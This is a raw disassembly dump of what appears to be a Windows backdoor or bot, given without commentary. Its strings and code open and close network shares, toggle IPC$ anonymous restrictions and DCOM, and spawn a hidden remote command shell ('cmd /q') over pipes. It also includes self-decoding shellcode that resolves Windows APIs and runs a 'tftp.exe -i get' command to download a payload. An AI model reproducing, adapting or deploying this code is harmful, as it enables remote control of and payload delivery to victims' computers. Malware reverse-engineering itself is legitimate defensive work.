		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_42EAE0	db    2			; DATA XREF: sub_4143F6+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_42EB18	db    2			; DATA XREF: sub_4143F6:loc_414658o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_42EB54	db    2			; DATA XREF: sub_4143F6+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_42EB88	db    2			; DATA XREF: sub_4143F6:loc_4145C5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_42EBC4	db    2			; DATA XREF: sub_4143F6+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_42EBF8	db    2			; DATA XREF: sub_4143F6:loc_414528o
					; sub_41471A:loc_414848o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_42EC38	db    2			; DATA XREF: sub_4143F6:loc_414521o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_42EC84	db    2			; DATA XREF: sub_4143F6:loc_414503o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_42ECC8	db    2			; DATA XREF: sub_4143F6+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_4143F6+EDo
					; sub_41471A+EDo
		align 4
unk_42ED28	db    2			; DATA XREF: sub_4143F6+91o
					; sub_41471A+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_42ED68	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4143F6:loc_414463o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_42ED94	db    2			; DATA XREF: sub_4143F6+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_4143F6+54o
					; sub_41471A+54o
		align 4
word_42EDD4	dw 4Eh			; DATA XREF: sub_4143F6+38r
		align 4
unk_42EDD8	db    2			; DATA XREF: sub_41471A+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_41471A+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41471A+219o
unk_42EE18	db    2			; DATA XREF: sub_41471A:loc_4148B9o
					; sub_41471A:loc_41498Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_42EE50	db    2			; DATA XREF: sub_41471A+198o
					; sub_41471A+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_42EE80	db    2			; DATA XREF: sub_41471A:loc_414841o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_42EECC	db    2			; DATA XREF: sub_41471A:loc_414823o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_42EF10	db    2			; DATA XREF: sub_41471A+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_42EF5C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_41471A:loc_414787o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_42EF88	db    2			; DATA XREF: sub_41471A+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_42EFBC	dw 59h			; DATA XREF: sub_41471A+38r
		align 10h
dword_42EFC0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_414A34+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformulti_0	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_42F004	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_414A34+59o
					; sub_414A34+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_42F05C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_414B85+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_42F094	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_414B85+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_42F0E4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_414B85+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_42F134	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_414C7E+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_414C7E+8Co
		align 10h
dword_42F180	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_414D57+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4
		jmp	short loc_42F1D0
; ---------------------------------------------------------------------------


loc_42F1CE:				; CODE XREF: _2:loc_42F1D0p
		jmp	short loc_42F1D5
; ---------------------------------------------------------------------------


loc_42F1D0:				; CODE XREF: _2:0042F1CCj
		call	loc_42F1CE


loc_42F1D5:				; CODE XREF: _2:loc_42F1CEj
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_42F1DC:				; CODE XREF: _2:0042F1E1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_42F1DC
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_42F1F2:				; CODE XREF: _2:0042F1F7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_42F1F2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_42F294
		jnz	short loc_42F280
		retn
; ---------------------------------------------------------------------------


loc_42F280:				; CODE XREF: _2:0042F27Dj _2:0042F28Dj
		call	near ptr loc_42F285+1


loc_42F285:				; CODE XREF: _2:loc_42F280p
		add	[edx+0], ch
		call	sub_42F294
		jz	loc_42F280
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42F294	proc near		; CODE XREF: _2:0042F278p _2:0042F288p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_42F294	endp

; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_414FE9+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_4151BA+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4151BA+35o
dword_42F310	dd 0D51C685Bh		; DATA XREF: sub_4154D2+4w sub_4154DCr ...
		align 10h
dword_42F320	dd 173Fh		; DATA XREF: sub_415E4A+Dr
		dd 9875h, 9873h
off_42F32C	dd offset sub_415F19	; DATA XREF: sub_417BD8r
		dd offset nullsub_3
		dd offset nullsub_3
dword_42F338	dd 1B3Fh		; DATA XREF: sub_415F93+Dr
dword_42F33C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_416415+2o
					; sub_41641E+2o
off_42F350	dd offset sub_417C16	; DATA XREF: sub_417DFA+1Cr
dword_42F354	dd 2			; DATA XREF: sub_41D96C+Er
					; sub_41D9A5+46r ...
off_42F358	dd offset aNull_0	; DATA XREF: sub_417F58:loc_4182BCr
					; sub_417F58+457r
					; "(null)"
off_42F35C	dd offset aNull		; DATA XREF: sub_417F58+259r
					; "(null)"
off_42F360	dd offset word_42F36A	; DATA XREF: sub_415964+23r
					; sub_415964:loc_4159C5r ...
off_42F364	dd offset word_42F36A	; DATA XREF: sub_420FCB+18r
		db 2 dup(0)
word_42F36A	dw 20h			; DATA XREF: sub_41F14D+18r
					; _2:off_42F360o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_42F56C	dd 1			; DATA XREF: sub_415964:loc_41596Cr
					; sub_415964:loc_4159B0r ...
byte_42F570	db 2Eh			; DATA XREF: sub_41A98F:loc_41A9CFr
					; sub_41A9E9+4r ...
		align 4
		dd 1, 10h, 0
off_42F580	dd offset off_42F580	; DATA XREF: sub_4199A8+Do
					; sub_4199A8+69o ...
off_42F584	dd offset off_42F580	; DATA XREF: sub_4199A8:loc_419A28r
					; sub_4199A8+89w ...
		dd offset dword_42F598
		dd offset dword_42F598
dword_42F590	dd 0FFFFFFFFh		; DATA XREF: sub_4199A8r
					; sub_419AEC:loc_419B39w
		dd 0FFFFFFFFh
dword_42F598	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	_2:0042F588o
					; _2:0042F58Co
off_4315A0	dd offset off_42F580	; DATA XREF: sub_419AEC+15r
					; sub_419AEC+20w ...
dword_4315A4	dd 1E0h			; DATA XREF: sub_415D6D:loc_415DA9r
					; sub_41756F+185r ...
dword_4315A8	dd 14h			; DATA XREF: sub_41A6D8+2o
off_4315AC	dd offset aExp		; DATA XREF: sub_41A6D8:loc_41A6F5r
					; "exp"
		dd 1Dh,	4227F4h, 1Ah, 4227F0h, 1Bh, 4227E8h, 1Fh, 4227E0h
		dd 13h,	4227D8h, 21h, 4227D0h, 0Eh, 4227C8h, 0Dh, 4227C0h
		dd 0Fh,	4227B8h, 10h, 4227B0h, 5, 4227A8h, 1Eh,	4227A4h
		dd 12h,	4227A0h, 20h, 42279Ch, 0Ch, 422794h, 0Bh, 42278Ch
		dd 15h,	422784h, 1Ch, 42277Ch, 19h, 422774h, 11h, 42276Ch
		dd 18h,	422764h, 16h, 42275Ch, 17h, 422754h, 22h, 422750h
		dd 23h,	42274Ch, 24h, 422748h
dbl_431680	dq 1.797693134862316e308 ; DATA	XREF: sub_41A413+B7r
					; sub_41A413:loc_41A4FAr ...
		dd 0
		dd 0FFF80000h
dbl_431690	dq 1.797693134862316e308 ; DATA	XREF: sub_41A413+92r
					; sub_41A413:loc_41A4D2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_4316A8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41A8C0+Dr
					; sub_41A8C0+1Fr
		align 4
tbyte_4316B4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41A8C0+31r
		align 10h
off_4316C0	dd offset sub_41AD54	; DATA XREF: sub_415F31+Fw
					; sub_417F58+3AAr
off_4316C4	dd offset sub_41A9E9	; DATA XREF: sub_415F31+5w
					; sub_417F58+3E2r
off_4316C8	dd offset sub_41AA4F	; DATA XREF: sub_415F31+14w
					; sub_41B7F5+430r
off_4316CC	dd offset sub_41A98F	; DATA XREF: sub_415F31+1Ew
					; sub_417F58+3CBr
off_4316D0	dd offset sub_41AA37	; DATA XREF: sub_415F31+28w
off_4316D4	dd offset sub_41AD54	; DATA XREF: sub_415F31+32w
		dd offset sub_41E98E
		align 10h
		dd offset sub_41B61C
off_4316E4	dd offset sub_41B61C	; DATA XREF: sub_41B672+29r
dword_4316E8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41B7F5:loc_41BD5Co
dword_4316F0	dd 5Dh,	0		; DATA XREF: sub_41B7F5:loc_41BC4Co
byte_4316F8	db 1			; DATA XREF: sub_41CA4D+E1r
		db 2, 4, 8
		align 10h
dword_431700	dd 3A4h			; DATA XREF: sub_41CA4D+2Fo
dword_431704	dd 82798260h, 21h, 0	; DATA XREF: sub_41CA4D+11Dr
dword_431710	dd 0DFA6h		; DATA XREF: sub_41CA4D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4317F0	dd 1			; DATA XREF: sub_41CA4D+3Co
					; sub_41D064+Co
dword_4317F4	dd 16h			; DATA XREF: sub_41D064:loc_41D099r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_431958	dd 0C0000005h		; DATA XREF: sub_41D064+19o
					; sub_41D20C+Ar ...
dword_43195C	dd 0Bh			; DATA XREF: sub_41FE88+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4319D0	dd 3			; DATA XREF: sub_41D0CB+58r
					; sub_41FD5B+C8r
dword_4319D4	dd 7			; DATA XREF: sub_41D0CB+5Er
					; sub_41FD5B+CDr
dword_4319D8	dd 0Ah			; DATA XREF: sub_41D20C+4r
					; sub_41FE88+4r
dword_4319DC	dd 8Ch			; DATA XREF: sub_41D0CB+82r
					; sub_41D0CB+8Fw ...
dword_4319E0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_417E43:loc_417F00o
					; sub_41C368:loc_41C3E9o
dword_4319E8	dd 2			; DATA XREF: sub_41D9A5+Eo
					; sub_41D9A5+28r
off_4319EC	dd offset aR6002FloatingP ; DATA XREF: sub_41D9A5+FCr
					; sub_41D9A5+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 422B14h, 9, 422AE8h, 0Ah,	422AC4h, 10h, 422A98h
		dd 11h,	422A68h, 12h, 422A44h, 13h, 422A18h, 18h, 4229E0h
		dd 19h,	4229B8h, 1Ah, 422980h, 1Bh, 422948h, 1Ch, 422920h
		dd 78h,	422910h, 79h, 422900h, 7Ah, 4228F0h, 0FCh, 425D20h
		dd 0FFh, 4228E0h
off_431A78	dd offset dword_4C93A0	; DATA XREF: sub_41D9A5+1Bo
					; _0:0041DBB7o
		align 10h
		dd offset dword_4C93A0
		dd 101h
dword_431A88	dd 0FFFFFFFFh, 0	; DATA XREF: _0:0041DBD4o
		dd 1000h, 0
dword_431A98	dd 3 dup(0)		; DATA XREF: sub_417E43+50o
					; sub_4189C2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_431AB8	dd 3 dup(0)		; DATA XREF: sub_417E43+58o
					; sub_4189C2:loc_4189E0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_431AE8	dd 84h dup(0)		; DATA XREF: _0:0041DBFDo
dword_431CF8	dd 2694h		; DATA XREF: sub_41A075+3r
					; sub_41A0C8+46r ...
		align 10h
dword_431D00	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41E76Eo
dword_431D18	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41E784o
dword_431D30	dd 7080h		; DATA XREF: sub_41C2A6+76r
					; sub_41EBF2+5Ew ...
dword_431D34	dd 1			; DATA XREF: sub_41C2A6+98r
					; sub_41EBF2+8Bw ...
dword_431D38	dd 0FFFFF1F0h		; DATA XREF: sub_41C2A6:loc_41C358r
					; sub_41EBF2+94w ...
dword_431D3C	dd 545350h, 0Fh	dup(0)	; DATA XREF: _2:off_431DBCo
dword_431D7C	dd 544450h, 0Fh	dup(0)	; DATA XREF: _2:off_431DC0o
off_431DBC	dd offset dword_431D3C	; DATA XREF: sub_41EBF2+BAr
					; sub_41EBF2+D9r ...
off_431DC0	dd offset dword_431D7C	; DATA XREF: sub_41EBF2+F4r
					; sub_41EBF2+11Br ...
		align 8
dword_431DC8	dd 0FFFFFFFFh		; DATA XREF: sub_41EBF2+1Dw
					; sub_41EE50+1Er ...
dword_431DCC	dd 0			; DATA XREF: sub_41EE50:loc_41EF84r
					; sub_41EFFC+BFw
dword_431DD0	dd 0			; DATA XREF: sub_41EE50+192r
					; sub_41EFFC+E0w
		align 8
dword_431DD8	dd 0FFFFFFFFh		; DATA XREF: sub_41EBF2+17w
					; sub_41EE50+26r ...
dword_431DDC	dd 0			; DATA XREF: sub_41EE50+13Ar
					; sub_41EFFC+EAw ...
dword_431DE0	dd 0			; DATA XREF: sub_41EE50+1A1r
					; sub_41EFFC+23r ...
dword_431DE4	dd 0FFFFFFFFh		; DATA XREF: sub_41EFFC+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_431E14	dd 16Dh			; DATA XREF: sub_41C2A6+2Ar
					; sub_41EFFC+2Er ...
dword_431E18	dd 0FFFFFFFFh		; DATA XREF: sub_41EFFC:loc_41F088r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_431E50	dd 2 dup(0)		; DATA XREF: sub_4201E0+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_431FB0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4201E0+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43210C	dd offset off_422CE8	; DATA XREF: _1:00422EC4o _1:00422FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_432124	dd offset off_422CE8	; DATA XREF: _1:off_422D78o
					; _1:00422DB8o	...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_432144	dd offset off_422CE8	; DATA XREF: _1:off_422DC0o
					; _1:00422E04o	...
		dd 0
